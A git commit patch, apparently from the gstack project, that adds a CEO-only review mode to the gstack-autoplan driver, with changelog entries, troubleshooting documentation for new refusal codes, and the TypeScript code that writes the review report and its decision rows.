<230910855+capy-ai[bot]@users.noreply.github.com> * test: count the autoplan-ceo-only paid file in the shard inventory Co-authored-by: capy-ai[bot] <230910855+capy-ai[bot]@users.noreply.github.com> * feat: gstack-autoplan next --ceo-only runs the CEO review alone and ends reviewed (GST-537) Co-authored-by: capy-ai[bot] <230910855+capy-ai[bot]@users.noreply.github.com> * fix: budget and close recover a budget-stopped CEO-only run; reviewed is at rest for checkpoints Co-authored-by: capy-ai[bot] <230910855+capy-ai[bot]@users.noreply.github.com> * fix: CEO-only finish leaves owner-only cap items undecided, refuses marker phase flags and a plan at the report path, and replaces ceo-review.md atomically Co-authored-by: capy-ai[bot] <230910855+capy-ai[bot]@users.noreply.github.com> * fix: the CEO-only report-path guard compares real paths and refuses at the finish when the report file is the plan Co-authored-by: capy-ai[bot] <230910855+capy-ai[bot]@users.noreply.github.com> * docs: CEO_ONLY_CONFLICT covers a plan linked to the report path Co-authored-by: capy-ai[bot] <230910855+capy-ai[bot]@users.noreply.github.com> * fix: the report-path guard keeps the lexical check, skips safe hard links and compares bigint file ids Co-authored-by: capy-ai[bot] <230910855+capy-ai[bot]@users.noreply.github.com> * test: copy lib/result-codes-autoplan.ts into the fixtures that copy the result-code tables, and keep it out of derived closures Co-authored-by: capy-ai[bot] <230910855+capy-ai[bot]@users.noreply.github.com> * docs: the decisions.jsonl status list names auto_kept Co-authored-by: capy-ai[bot] <230910855+capy-ai[bot]@users.noreply.github.com> * fix: pre-landing review fixes (restore the lib/result-codes-plan.ts ratchet row the base merge dropped) Co-authored-by: capy-ai[bot] <230910855+capy-ai[bot]@users.noreply.github.com> * fix(autoplan): CEO-only runs leave main's open Critical/High finding items to the owner (no decision row) Co-authored-by: capy-ai[bot] <230910855+capy-ai[bot]@users.noreply.github.com> --------- Co-authored-by: capy-ai[bot] <230910855+capy-ai[bot]@users.noreply.github.com> --- CHANGELOG.md | 12 + VERSION | 2 +- agents-digest/gstack-AGENTS.md | 2 +- autoplan/DRIVER.md | 4 +- bin/gstack-autoplan | 21 +- bin/gstack-doctor-components.sh | 3 + docs/troubleshooting.md | 36 +++ docs/unattended.md | 38 +++- lib/approval-record.ts | 7 +- lib/autoplan-ceo-only.ts | 105 +++++++++ lib/autoplan-checkpoint.ts | 4 +- lib/autoplan-export.ts | 9 +- lib/autoplan-run.ts | 33 +-- lib/autoplan-scope.ts | 2 +- lib/autoplan-state.ts | 2 + lib/headless-artifacts.ts | 8 +- lib/result-codes-autoplan.ts | 26 +++ lib/result-codes.ts | 2 + package.json | 2 +- scripts/pr-dependencies.ts | 2 +- scripts/resolvers/autoplan-driver.ts | 2 +- test/autoplan-ceo-only-driver.test.ts | 303 +++++++++++++++++++++++++ test/fixtures/module-size-ratchet.json | 2 + test/helpers/doctor-fixture.ts | 2 +- test/plan-tune-cathedral.test.ts | 2 +- test/timeline-stop-hook-slug.test.ts | 1 + 26 files changed, 581 insertions(+), 51 deletions(-) create mode 100644 lib/autoplan-ceo-only.ts create mode 100644 lib/result-codes-autoplan.ts create mode 100644 test/autoplan-ceo-only-driver.test.ts diff --git a/CHANGELOG.md b/CHANGELOG.md index f3e5d12f7..e6017509e 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -1,5 +1,17 @@ # Changelog +## [1.92.58.0] - 2026-11-02 + +**A parent agent can now run the CEO-only review through the driver: `gstack-autoplan next --ceo-only` (GST-537).** `/autoplan --ceo-only` only worked inside a Claude Code session, so a crew or eval harness driving `gstack-autoplan` from another host had to run the whole review and stop at the approval gate. Now the same review-only run works from the driver on any host. + +### Added +- **`gstack-autoplan next --ceo-only`** (first `next` only): opens the CEO phase alone. When it closes, the run prints `REVIEWED:`, writes `/ceo-review.md` with the same sections as the skill path (hashed in `run.json`), and ends `GSTACK_RESULT: skill=autoplan status=reviewed run=`. It writes no gate, never edits the plan and never approves anything. +- **Decision rows with status `auto_kept`**: each item a gate would have asked is recorded as kind `auto`, the plan's direction kept, with no answer time. An item only the owner can accept (a Critical finding left open when CEO closed deferred) is left undecided, with no chosen option, and the report lists it as left open for the owner. Tasks in a CEO-only run wait on no decision. `run.json` now accepts `reviewed`, and `gstack-artifact validate` passes a finished CEO-only run. +- **Coded refusals**: `--ceo-only` beside `--ui`, `--developer-tool` or `--agent-primary` (on the command line or in the plan's scope marker), a scope marker that names `--ceo-only`, or a plan that is the report file `/ceo-review.md` (directly, through a symlink or a hard link) refuses with `CEO_ONLY_CONFLICT`, so the report never overwrites the plan; on a directory that holds a full run, `CEO_ONLY_AFTER_INIT`. `answer`, `recommend`, `revise` and `gstack-approvals import` refuse a CEO-only run with `CEO_ONLY_NO_GATE`. A CEO-only run stopped by `--spend-cap` recovers the usual way: `budget` then `resume`, or `close --deferred`, which ends it `reviewed`. + +### Fixed +- `gstack-approvals import --autoplan` no longer imports from a run whose `run.json` is present but not valid JSON; it refuses with `ARTIFACT_INVALID_JSON` instead of guessing the run's identity. + ## [1.92.57.0] - 2026-11-02 **Hermes can start gstack skills again (GST-882).** On stock Hermes, the Tirith scanner flagged every gstack skill's first command as HIGH ("Nested executable body could not be resolved"), so `gstack-skill-start` was denied in 8 of 8 trials. Tirith-only findings can't go on Hermes's permanent allowlist, so there was no workaround. The start line Tirith couldn't follow was a grouped fallback that picked the script through a variable. diff --git a/VERSION b/VERSION index 49a9e011a..0922d3b4f 100644 --- a/VERSION +++ b/VERSION @@ -1 +1 @@ -1.92.57.0 +1.92.58.0 diff --git a/agents-digest/gstack-AGENTS.md b/agents-digest/gstack-AGENTS.md index 87679d15d..2e1a5e229 100644 --- a/agents-digest/gstack-AGENTS.md +++ b/agents-digest/gstack-AGENTS.md @@ -1,4 +1,4 @@ -# gstack digest v1.92.57.0 — regenerate/re-copy after upgrading gstack +# gstack digest v1.92.58.0 — regenerate/re-copy after upgrading gstack Behavioral rules from gstack (https://github.com/garrytan/gstack), compressed for agent hosts without a full skill install. The full skills add workflows, diff --git a/autoplan/DRIVER.md b/autoplan/DRIVER.md index ff551298e..89b7f2782 100644 --- a/autoplan/DRIVER.md +++ b/autoplan/DRIVER.md @@ -57,8 +57,8 @@ line yourself; gstack never writes the plan. ### Commands -- `gstack-autoplan next --out --plan [scope flags] [--light] [--spend-cap ] [--max-rounds ] [--estimate-usd ] [--scaffold]` - first call: init the run, print PHASE:, SCOPE:, DRIVER: and one ATTEMPT: per voice; --max-rounds caps review rounds per phase (default 2 unattended); a run with --spend-cap, in any session kind (or any unattended Capy run), reserves 5.00 per voice for each attempt, so the cap binds; --estimate-usd sets that reservation and the run keeps it for later phases. +- `gstack-autoplan next --out --plan [scope flags] [--light] [--spend-cap ] [--max-rounds ] [--estimate-usd ] [--scaffold] [--ceo-only]` + first call: init the run, print PHASE:, SCOPE:, DRIVER: and one ATTEMPT: per voice; --max-rounds caps review rounds per phase (default 2 unattended); a run with --spend-cap, in any session kind (or any unattended Capy run), reserves 5.00 per voice for each attempt, so the cap binds; --estimate-usd sets that reservation and the run keeps it for later phases; --ceo-only (command line only, never a scope marker) reviews CEO alone and ends `status=reviewed` with `/ceo-review.md` (`REVIEWED:`): no gate, and the gate verbs refuse it (`CEO_ONLY_NO_GATE`). - `gstack-autoplan run --out --plan --native-model --outside-model --native-runner api --runner api [--max-tokens ] [--spend-cap ]` hosts without subagents: one command calls both models directly (ANTHROPIC_API_KEY, OPENAI_API_KEY) and loops next/submit to the gate; a response cut off at the output limit is reported truncated, so raise --max-tokens (default 16384 for both providers; OpenAI counts reasoning tokens toward it); each api call reserves its priced worst case (a model with no price reserves the per-voice default under a cap), a native call that went out but bound no result settles at its usage, or its full reservation when the usage is unknown, and a failed outside call stays counted at its reservation. - `gstack-autoplan next --out [--redispatch ]` diff --git a/bin/gstack-autoplan b/bin/gstack-autoplan index faccea3fd..070aa3844 100755 --- a/bin/gstack-autoplan +++ b/bin/gstack-autoplan @@ -2,7 +2,7 @@ /** * gstack-autoplan — the unattended /autoplan runner as an explicit, durable state machine (plan B2). * - * gstack-autoplan next --out [--plan ] [--plan-heading ] [--ui|--no-ui] [--developer-tool] [--agent-primary] [--docs-only] + * gstack-autoplan next --out [--plan ] [--plan-heading ] [--ui|--no-ui] [--developer-tool] [--agent-primary] [--docs-only] [--ceo-only] * [--no-outside] [--light] [--spend-cap ] [--estimate-usd ] [--deadline ] [--redispatch ] [--json] * gstack-autoplan submit --out --phase

--voice native|outside --result | --record [--attest ] * --model [--attempt ] [--runner ] [--usage-usd ] [--reconcile ] [--json] @@ -31,10 +31,11 @@ */ import * as fs from 'node:fs'; import * as path from 'node:path'; -import { amendmentSteps, answerGate, closeDeferred, finishGate, recommendGate } from '../lib/autoplan-gate'; +import { amendmentSteps, answerGate, closeDeferred, recommendGate } from '../lib/autoplan-gate'; +import { checkCeoOnlyFlags, finishRun, refuseCeoOnly } from '../lib/autoplan-ceo-only'; import { gateCost, gateCostPayload, renderGateCost, type GateCost } from '../lib/autoplan-gate-cost'; import { attemptEstimate, changeBudget, escalateLine, liftStop } from '../lib/autoplan-budget'; -import { DEFAULT_CARRY_CHECK_CAP_USD, carryLines, submitCarryCheck } from '../lib/autoplan-carry'; +import { DEFAULT_CARRY_CHECK_CAP_USD, submitCarryCheck } from '../lib/autoplan-carry'; import { ANSWERED_BY_RE } from '../lib/gate-list'; import { checkpointLines, checkpointRun, restoreCheckpoint, type CheckpointMoment } from '../lib/autoplan-checkpoint'; import { admit, touchInstallLease } from '../lib/autoplan-admission'; @@ -57,10 +58,11 @@ import { COORDINATOR_CONTRACT } from '../lib/coordinator-contract'; const HELP = `gstack-autoplan — unattended /autoplan: next/submit loop, answer, resume (docs/unattended.md) DRIVER: ${driverFile()} - next --out

[--plan ] [--plan-heading ] [--scaffold] [--ui|--no-ui] [--developer-tool] [--agent-primary] [--no-dx] [--docs-only] + next --out [--plan ] [--plan-heading ] [--scaffold] [--ui|--no-ui] [--developer-tool] [--agent-primary] [--no-dx] [--docs-only] [--ceo-only] [--no-outside] [--light] [--spend-cap ] [--max-rounds ] [--estimate-usd ] [--deadline ] [--redispatch ] [--json] --max-rounds (first next): review rounds per phase (default 2 unattended); at the cap a phase closes accepted-with-findings --docs-only (first next; also detected when every Implementation-plan path is docs-class): CEO (native voice only) + Eng + --ceo-only (first next, command line only): the CEO phase alone, no gate; ends status=reviewed with /ceo-review.md, never approved --estimate-usd: reserved per new attempt, kept for the rest of the run; with --spend-cap any run (or an unattended run on Capy) reserves a default so the cap binds --scaffold (first next): a plan missing one of its two sections is reviewed from /plan-source.md with the heading added --light loads each phase's checklist plus the sections its scope needs (the unattended default); interactive kinds load everything @@ -187,16 +189,18 @@ function doNext(out: string, rest: string[], json: boolean, price?: NextOptions[ const cwd = process.cwd(); const initLines: string[] = []; const fresh = !fs.existsSync(path.join(out, FILES.run)); + if (!fresh) checkCeoOnlyFlags(rest, undefined, readState(out)); if (fresh) { const plan = flag(rest, '--plan'); if (!plan) throw new RunError('RUN_NOT_INITIALIZED', `${out} has no run.json; pass --plan on the first next`, 3); + const ceoOnly = checkCeoOnlyFlags(rest, path.resolve(plan), undefined, out); const ui = rest.includes('--ui') ? true : rest.includes('--no-ui') ? false : undefined; const maxRounds = num(rest, '--max-rounds'); if (maxRounds !== undefined && (!Number.isInteger(maxRounds) || maxRounds < 1)) throw new RunError('ARTIFACT_SCHEMA', '--max-rounds needs an integer >= 1', 1); const carryCheckCapUsd = num(rest, '--carry-check-cap'); if (carryCheckCapUsd !== undefined && !(carryCheckCapUsd >= 0)) throw new RunError('ARTIFACT_SCHEMA', '--carry-check-cap needs a number >= 0', 1); initRun({ plan, out, cwd, planHeading: flag(rest, '--plan-heading'), outsideEnabled: !rest.includes('--no-outside'), spendCap: num(rest, '--spend-cap') ?? null, maxRounds, - carryForward: !rest.includes('--no-carry-forward'), carryCheckCapUsd, + carryForward: !rest.includes('--no-carry-forward'), carryCheckCapUsd, ceoOnly, deadlineMin: num(rest, '--deadline'), light: rest.includes('--light'), scaffold: rest.includes('--scaffold'), scope: { ui, developerTool: rest.includes('--developer-tool'), agentPrimary: rest.includes('--agent-primary'), dx: rest.includes('--no-dx') ? false : undefined, ...(rest.includes('--docs-only') ? { docsOnly: true } : {}) } }, initLines); } const redispatch = rest.flatMap((a, i) => (a === '--redispatch' && rest[i + 1] ? [rest[i + 1]!] : [])); @@ -253,6 +257,7 @@ function doRevise(out: string, rest: string[], json: boolean): number { const plan = flag(rest, '--plan'); const incorporates = listFlag(rest, '--incorporates'); const withdraw = listFlag(rest, '--withdraw'); const settle = listFlag(rest, '--settle'); if (!plan && !withdraw.length && !settle.length) return usage('revise needs --plan (and optionally --incorporates ), --withdraw or --settle '); if (!plan && incorporates.length) return usage('--incorporates binds accepted changes to a revised plan: pass --plan '); + refuseCeoOnly(readState(out), 'revise'); const r = reviseRun({ out, plan: plan ? path.resolve(plan) : undefined, incorporates, withdraw, settle, cwd: process.cwd() }); const lines = [...r.lines]; if (r.state.status === 'running' || r.state.status === 'amend_pending') lines.push(nextLine(r.state, out)); @@ -273,7 +278,7 @@ function doClose(out: string, rest: string[], json: boolean): number { const r = closeDeferred(state, phase as Phase, { reason: reason.trim(), by, cause: 'owner' }); moment = 'transition'; const lines = [...r.lines, ...(stopped ? liftStop(state, `${phase} closed deferred by ${by}`) : [])]; - if (!currentPhase(state)) { finishGate(state); lines.push(...carryLines(state), ...(state.status === 'gate_pending' ? gateLines(state, out) : [])); } + if (!currentPhase(state)) lines.push(...finishRun(state), ...(state.status === 'gate_pending' ? gateLines(state, out) : [])); else { state.status = 'running'; lines.push(`NEXT: gstack-autoplan next --out ${out}`); } writeState(state); lines.push(resultLineFor(state.status, out)); @@ -415,7 +420,7 @@ async function main(argv: string[]): Promise { if (cmd === 'answer') { const rev = flag(rest, '--gate-rev'); const reply = flag(rest, '--reply'); const by = flag(rest, '--by'); if (reply === undefined) return usage('answer needs --reply ""'); - if (rev === undefined) { const s = readState(out); process.stderr.write(resultLine('gstack-autoplan answer', 'GATE_REV_STALE', `no --gate-rev given; current gate_rev=${s.gate_rev ?? 0}`) + '\n'); return EXIT.refused; } + if (rev === undefined) { const s = readState(out); refuseCeoOnly(s, 'answer'); process.stderr.write(resultLine('gstack-autoplan answer', 'GATE_REV_STALE', `no --gate-rev given; current gate_rev=${s.gate_rev ?? 0}`) + '\n'); return EXIT.refused; } const replyFile = flag(rest, '--owner-reply-file'); const ownerFlag = flag(rest, '--owner-reply'); if (replyFile !== undefined && ownerFlag !== undefined) return usage('--owner-reply and --owner-reply-file are exclusive'); const wordsBy = flag(rest, '--words-by') ?? 'owner'; @@ -423,6 +428,7 @@ async function main(argv: string[]): Promise { const ownerReply = replyFile !== undefined ? fs.readFileSync(replyFile, 'utf8') : ownerFlag === '-' ? fs.readFileSync(0, 'utf8') : ownerFlag; return mutating(out, json, () => { const state = readState(out); + refuseCeoOnly(state, 'answer'); const r = answerGate(state, Number(rev), reply, by, { recHash: flag(rest, '--rec-hash'), ownerReply, ...(wordsBy === 'owner' ? {} : { wordsBy }) }); writeState(state); const lines = [...r.lines]; @@ -437,6 +443,7 @@ async function main(argv: string[]): Promise { if (rev === undefined || !item || !option || !basis?.trim()) return usage('recommend needs --gate-rev --item --option --basis ""'); return mutating(out, json, () => { const state = readState(out); + refuseCeoOnly(state, 'recommend'); const lines = recommendGate(state, Number(rev), item.toLowerCase(), option.toLowerCase(), basis.trim(), flag(rest, '--by') ?? 'parent'); writeState(state); emit(json, [...lines, resultLineFor(state.status, out)], { run: state.run, status: state.status, gate_rev: state.gate_rev, out }); diff --git a/bin/gstack-doctor-components.sh b/bin/gstack-doctor-components.sh index 5bda51ce5..960129724 100644 --- a/bin/gstack-doctor-components.sh +++ b/bin/gstack-doctor-components.sh @@ -378,6 +378,9 @@ gstack_result_anchor() { OFFICE_HOURS_PROBE_REFUSED) printf '%s' 'office-hours-probe-refused' ;; TASKS_SUPERSEDE_REFUSED) printf '%s' 'tasks-supersede-refused' ;; REALITY_RECEIPT_UNRESOLVED) printf '%s' 'reality-receipt-unresolved' ;; + CEO_ONLY_CONFLICT) printf '%s' 'ceo-only-conflict' ;; + CEO_ONLY_AFTER_INIT) printf '%s' 'ceo-only-after-init' ;; + CEO_ONLY_NO_GATE) printf '%s' 'ceo-only-no-gate' ;; *) return 1 ;; esac } diff --git a/docs/troubleshooting.md b/docs/troubleshooting.md index 1e113eb92..d73967bb1 100644 --- a/docs/troubleshooting.md +++ b/docs/troubleshooting.md @@ -3281,6 +3281,42 @@ result. **Fix.** Run `gstack-autoplan status --out ` and submit for the attempt the last `next` printed (`ATTEMPT: ... phase=

voice=`). + +### `CEO_ONLY_CONFLICT` + +**Meaning.** `gstack-autoplan next --ceo-only` was combined with `--ui`, +`--developer-tool` or `--agent-primary` (on the command line or in the plan's +`gstack-autoplan-scope` marker), each of which adds a phase a CEO-only run +never opens; or the marker names `--ceo-only` (the mode is a command-line +choice for one run, so a plan can't pin it); or the plan is `/ceo-review.md` +(directly, through a symlink or a hard link), the report the run would write +over it. The finish checks that last case again before it writes the report. + +**Fix.** Drop the conflicting flag (or the marker token), move the plan out of +the report path, or run the full review without `--ceo-only`. + + +### `CEO_ONLY_AFTER_INIT` + +**Meaning.** `next --ceo-only` named a run directory that already holds a full +review run. A run keeps the mode it started with. + +**Fix.** Start the CEO-only run in a new `--out` directory, passing +`--ceo-only` on its first `next`. + + +### `CEO_ONLY_NO_GATE` + +**Meaning.** `answer`, `recommend` or `revise` was run on a CEO-only run, or +`gstack-approvals import` was pointed at one. A CEO-only +run writes no gate, ends `status=reviewed` and is never approved, so there is +nothing to answer, change or import. (`budget` and `close --deferred` still +work: they are how a budget-stopped CEO-only run recovers.) + +**Fix.** Read `/ceo-review.md`. For a gate and an approval, start a +full review in a new directory: `gstack-autoplan next --out --plan +` without `--ceo-only`. + ### `ATTEMPT_MISMATCH` diff --git a/docs/unattended.md b/docs/unattended.md index e1a5a865b..822f38e73 100644 --- a/docs/unattended.md +++ b/docs/unattended.md @@ -259,7 +259,7 @@ tree no review saw, so /ship runs again; | File | Schema | Contents | |------|--------|----------| | `run.json` | `run` v1 | The manifest: `run` id, `status`, `required_phases`, each phase's `native` and `outside` outcome (`status`, `model`, `provider`), input `snapshot` hashes, `counts`, every artifact's `path` (relative to the run directory) and `sha256`, `session_kind`, `gate_rev`, `deviations`, `consumed_by`. | -| `decisions.jsonl` | `decisions` v1 | One row per decision: `id` (`-

--plan +--ceo-only` opens only the CEO phase; the parent dispatches and submits its +voices as usual. When CEO closes, the run prints `REVIEWED:` and ends +`GSTACK_RESULT: skill=autoplan status=reviewed run=`, with +`/ceo-review.md` in the same sections, hashed in `run.json`. Each item a +gate would have asked becomes a `decisions.jsonl` row of kind `auto` and status +`auto_kept` (nobody answered: the plan's direction is kept, and a round-cap item +only the owner can accept, such as a Critical left open, stays undecided with +no chosen option), and tasks are blocked on no decision. An open Critical or +High finding, which a full gate asks about, gets no row: nobody decides it, and +it stays in the report's Findings and in `tasks.jsonl` for the owner. The driver never edits the plan, writes no `gate.json` and never +approves, so `gstack-artifact validate` accepts the run as it stands. + +- The flag goes on the first `next` only. It refuses beside `--ui`, + `--developer-tool` or `--agent-primary` on the command line or in the plan's + scope marker, when the marker names it, and on a plan at the report path + (`CEO_ONLY_CONFLICT`); a directory that holds a full run refuses it + (`CEO_ONLY_AFTER_INIT`). +- `answer`, `recommend` and `revise` refuse a CEO-only run, and so does + `gstack-approvals import` (`CEO_ONLY_NO_GATE`): there is no gate to answer and + nothing was approved. A run stopped by `--spend-cap` recovers as a full run + does: `budget` then `resume`, or `close --phase ceo --deferred`, which ends + it `reviewed`. + ## Owner brief `gstack-owner-brief render --out ` is what the owner sees at the final diff --git a/lib/approval-record.ts b/lib/approval-record.ts index 74418d987..f26ef6d64 100644 --- a/lib/approval-record.ts +++ b/lib/approval-record.ts @@ -254,7 +254,12 @@ export function importAutoplan(runDir: string, branch: string, by?: string): App if (!line.trim()) continue; try { rows.push(JSON.parse(line)); } catch { return { code: 'ARTIFACT_MALFORMED_JSONL', message: `decisions.jsonl has a line that is not JSON` }; } } - const run = (() => { try { return JSON.parse(fs.readFileSync(path.join(runDir, 'run.json'), 'utf8')); } catch { return {}; } })(); + const runFile = path.join(runDir, 'run.json'); + let run: Record = {}; + if (fs.existsSync(runFile)) { + try { run = JSON.parse(fs.readFileSync(runFile, 'utf8')); } catch (e: any) { return { code: 'ARTIFACT_INVALID_JSON', message: `run.json in ${runDir} is unreadable (${e?.message ?? e}); an approval names the run it came from` }; } + } + if (run.ceo_only || run.status === 'reviewed') return { code: 'CEO_ONLY_NO_GATE', message: `${runDir} is a CEO-only run (status ${run.status}): it has no gate and was never approved` }; const plan = reviewedPlan(runDir, run); const planTitle = firstTitle(plan.text) ?? 'the plan'; const planSha = plan.sha; diff --git a/lib/autoplan-ceo-only.ts b/lib/autoplan-ceo-only.ts new file mode 100644 index 000000000..d2ec44826 --- /dev/null +++ b/lib/autoplan-ceo-only.ts @@ -0,0 +1,105 @@ +/** + * autoplan-ceo-only — the driver's CEO-only run (`gstack-autoplan next + * --ceo-only`, GST-537), the twin of `/autoplan --ceo-only` (the skill's + * CEO-only section, docs/unattended.md#ceo-only-runs). The flag is a command-line choice for one run: + * it conflicts with the flags that add a phase, a plan's scope marker may not + * name it, and a run directory keeps the mode it started with. The run opens + * only the CEO phase. `finishRun` is the one finish path next, phase close, + * resume and close share: a full run writes the gate (`finishGate`); a + * CEO-only run writes `ceo-review.md`, records each would-be gate item as a + * decision row of kind `auto` and status `auto_kept` (nobody answered: the + * plan's direction is kept, and an item only the owner can accept stays + * undecided), and ends `reviewed`. It never writes gate.json, + * never calls approve() and never edits the plan, so the commands that need a + * gate or an approvable run refuse it (CEO_ONLY_NO_GATE); `budget` and + * `close --deferred` still recover a run stopped by its spend cap. + */ +import * as crypto from 'node:crypto'; +import * as fs from 'node:fs'; +import * as path from 'node:path'; +import { buildGate, finishGate } from './autoplan-gate'; +import { FINDING_ORIGIN } from './autoplan-confirm'; +import { carryLines } from './autoplan-carry'; +import { aggregateFindings, exportRun } from './autoplan-export'; +import { decisionRows, keepDirection, type GateItem } from './gate-list'; +import { MARKER_RE } from './autoplan-scope'; +import { RunError, journal, voiceRows, writeDecisions, type RunState } from './autoplan-state'; +import type { DecisionRow, FindingRow } from './headless-artifacts'; +import { sha256File } from './headless-artifacts'; + +export const CEO_ONLY_FLAG = '--ceo-only'; +export const CEO_ONLY_CONFLICTS = ['--ui', '--developer-tool', '--agent-primary'] as const; +export const CEO_ONLY_REPORT = 'ceo-review.md'; + +/** + * The first next's checks: true when this next asks for a CEO-only run. A marker naming the flag refuses whether or not + * the flag was passed; the flag refuses beside a phase-adding flag (argument or marker), on a plan at the report path, + * or on a directory that holds a full run. + */ +export function checkCeoOnlyFlags(args: readonly string[], plan: string | undefined, existing: RunState | undefined, out?: string): boolean { + const marker = plan && fs.existsSync(plan) ? MARKER_RE.exec(fs.readFileSync(plan, 'utf8').split('\n', 1)[0]!.replace(/^\uFEFF/, '').trimEnd()) : null; + const tokens = marker?.[1]!.trim().split(/\s+/) ?? []; + if (tokens.includes(CEO_ONLY_FLAG)) throw new RunError('CEO_ONLY_CONFLICT', `the scope marker in ${plan} names ${CEO_ONLY_FLAG}`, 3); + if (!args.includes(CEO_ONLY_FLAG)) return false; + const conflicts = CEO_ONLY_CONFLICTS.filter(f => args.includes(f) || tokens.includes(f)); + if (conflicts.length) throw new RunError('CEO_ONLY_CONFLICT', `${CEO_ONLY_FLAG} with ${conflicts.join(', ')}`, 3); + const real = (p: string) => { try { return fs.realpathSync(p); } catch { return path.resolve(p); } }; + if (plan && out && (path.resolve(plan) === path.resolve(out, CEO_ONLY_REPORT) || real(plan) === path.join(real(out), CEO_ONLY_REPORT))) throw new RunError('CEO_ONLY_CONFLICT', `the plan ${plan} is the report path`, 3); + if (existing && !existing.ceo_only) throw new RunError('CEO_ONLY_AFTER_INIT', `${existing.out} holds full run ${existing.run} (status ${existing.status})`, 3); + return true; +} + +/** answer, recommend and revise need a gate or an approvable run: a CEO-only run has neither (budget and close stay: they recover a budget stop). */ +export function refuseCeoOnly(state: RunState, verb: string): void { + if (state.ceo_only) throw new RunError('CEO_ONLY_NO_GATE', `${verb} on CEO-only run ${state.run} (status ${state.status}); report: ${path.join(state.out, CEO_ONLY_REPORT)}`, 3); +} + +/** Every phase closed: a full run writes its gate (carry lines follow); a CEO-only run writes its report and ends reviewed. */ +export function finishRun(state: RunState): string[] { + if (!state.ceo_only) { finishGate(state); return carryLines(state); } + const report = path.join(state.out, CEO_ONLY_REPORT); + const id = (p: string) => fs.statSync(p, { bigint: true }); + const at = fs.existsSync(report) && !fs.lstatSync(report).isSymbolicLink() ? id(report) : undefined; + const plan = at?.nlink === 1n ? [state.plan_source, state.plan_input, state.active_plan].find(p => p && fs.existsSync(p) && id(p).ino === at.ino && id(p).dev === at.dev) : undefined; + if (plan) throw new RunError('CEO_ONLY_CONFLICT', `the plan ${plan} is the report path ${report}`, 3); + const list = buildGate(state, 1); + const items = list.items.filter(i => i.id !== 'p1' && !i.origin?.endsWith(`|${FINDING_ORIGIN}`)); + const kept = (item: GateItem) => (item.cap && item.kind === 'approval' ? null : keepDirection(item)); + const rows: DecisionRow[] = decisionRows({ ...list, items }).map((row, i) => ({ ...row, kind: 'auto', status: 'auto_kept', chosen: kept(items[i]!), default_if_unanswered: kept(items[i]!), source: 'ceo-only' })); + writeDecisions(state.out, rows); + state.status = 'reviewed'; + exportRun(state); + const findings = aggregateFindings(state); + const tmp = `${report}.${crypto.randomBytes(4).toString('hex')}.tmp`; + fs.writeFileSync(tmp, renderReport(state, items, rows, findings), { flag: 'wx' }); + fs.renameSync(tmp, report); + state.artifacts[CEO_ONLY_REPORT] = { path: CEO_ONLY_REPORT, sha256: sha256File(report) }; + journal(state.out, { event: 'ceo_only_reviewed', decisions: rows.length, findings: findings.length, report: CEO_ONLY_REPORT }); + return [`REVIEWED: ceo-only run=${state.run} decisions=${rows.length} (auto_kept) findings=${findings.length} report=${report} (not approved; no gate)`]; +} + +type Challenge = FindingRow & { user_challenge?: boolean }; +const none = (lines: string[]) => (lines.length ? lines : ['None.']); + +/** The report both paths write: user challenges (direction kept), scope added, conservative choices, findings and the audit trail. */ +function renderReport(state: RunState, items: GateItem[], rows: DecisionRow[], findings: FindingRow[]): string { + const plan = fs.existsSync(state.active_plan) ? fs.readFileSync(state.active_plan, 'utf8') : ''; + const title = /^#\s+(.+)$/m.exec(plan)?.[1]?.trim() ?? path.basename(state.plan_input ?? state.plan_source); + const outside = state.phases.ceo?.outside; + const outsideLine = outside?.status === 'completed' ? `completed (${outside.model})` : `${outside?.status ?? 'disabled'}${outside?.reason ? ` (${outside.reason})` : outside?.detail ? ` (${outside.detail})` : ''}`; + const challenges = [...voiceRows(state, 'ceo', 'native'), ...voiceRows(state, 'ceo', 'outside')].filter(f => (f as Challenge).user_challenge); + const where = (f: FindingRow) => (f.file ? `${f.file}${f.line ? `:${f.line}` : ''}` : 'plan'); + return [ + `# CEO-only review: ${title}`, '', + `Mode: gstack-autoplan driver, CEO phase only (run ${state.run}). Outside voice: ${outsideLine}. Not approved.`, '', + '## User challenges (direction kept)', '', + ...none(challenges.map(f => `- [${f.severity}] ${f.title} (${f.id}, ${f.voice}): proposal: ${f.resolution ?? 'unstated'}; the plan's direction is kept`)), '', + '## Scope added', '', 'None. The driver never edits the plan; scope proposals are listed under Findings.', '', + '## Conservative choices', '', + ...none(rows.map((r, i) => `- ${r.label}: ${r.title}: ${r.chosen === null ? 'left open for the owner (not accepted)' : `kept ${r.chosen} (${items[i]!.options.find(o => o.key === r.chosen)?.text ?? r.chosen})`}; the reviewers recommended ${r.recommended}`)), '', + '## Findings', '', + ...none(findings.map(f => `- [${f.severity}] ${f.title} (${f.id}; ${where(f)}): fix: ${f.resolution ?? 'unstated'}; disposition: ${f.disposition ?? 'open'}${(f as { reconciliation?: string }).reconciliation ? `; voices: ${(f as { reconciliation?: string }).reconciliation}` : ''}`)), '', + '## Decision Audit Trail', '', + ...none(rows.map(r => `- ${r.id}: ${r.kind} ${r.status}, chosen ${r.chosen ?? 'none'}, recommended ${r.recommended}${r.recommended_basis ? ` (${r.recommended_basis})` : ''}`)), '', + ].join('\n'); +} diff --git a/lib/autoplan-checkpoint.ts b/lib/autoplan-checkpoint.ts index e134d20c1..141144b86 100644 --- a/lib/autoplan-checkpoint.ts +++ b/lib/autoplan-checkpoint.ts @@ -1,7 +1,7 @@ /** * autoplan-checkpoint — an opt-in durable copy of a run directory (next-wave * B12). With GSTACK_AUTOPLAN_CHECKPOINT_DIR set, every mutating command that - * leaves the run at rest (gate_pending, amend_pending, complete, incomplete) + * leaves the run at rest (gate_pending, amend_pending, complete, reviewed, incomplete) * publishes one immutable generation under `//generations//`: * `checkpoint.json` (every file's sha256), the run files under `run/`, the * owner's plan file under `plan-input/` when it lives outside the run, and @@ -34,7 +34,7 @@ import { readConfigKey } from './state-root'; const MANIFEST = 'checkpoint.json'; const CURRENT = 'current.json'; const GENERATIONS = 'generations'; -const AT_REST = ['gate_pending', 'amend_pending', 'complete', 'incomplete']; +const AT_REST = ['gate_pending', 'amend_pending', 'complete', 'reviewed', 'incomplete']; const FOREIGN_LOCK_STALE_MS = 10 * 60_000; interface CheckpointManifest { schema_version: 1; run: string; status: string; gate_rev: number; revision: number; at: string; host: string; gstack_version?: string; diff --git a/lib/autoplan-export.ts b/lib/autoplan-export.ts index 81bb8a276..30b58a725 100644 --- a/lib/autoplan-export.ts +++ b/lib/autoplan-export.ts @@ -24,21 +24,22 @@ export const PLAN_WARN_BYTES = 30_000; export function buildTasks(state: RunState, findings: FindingRow[]): TaskRow[] { const tasks: 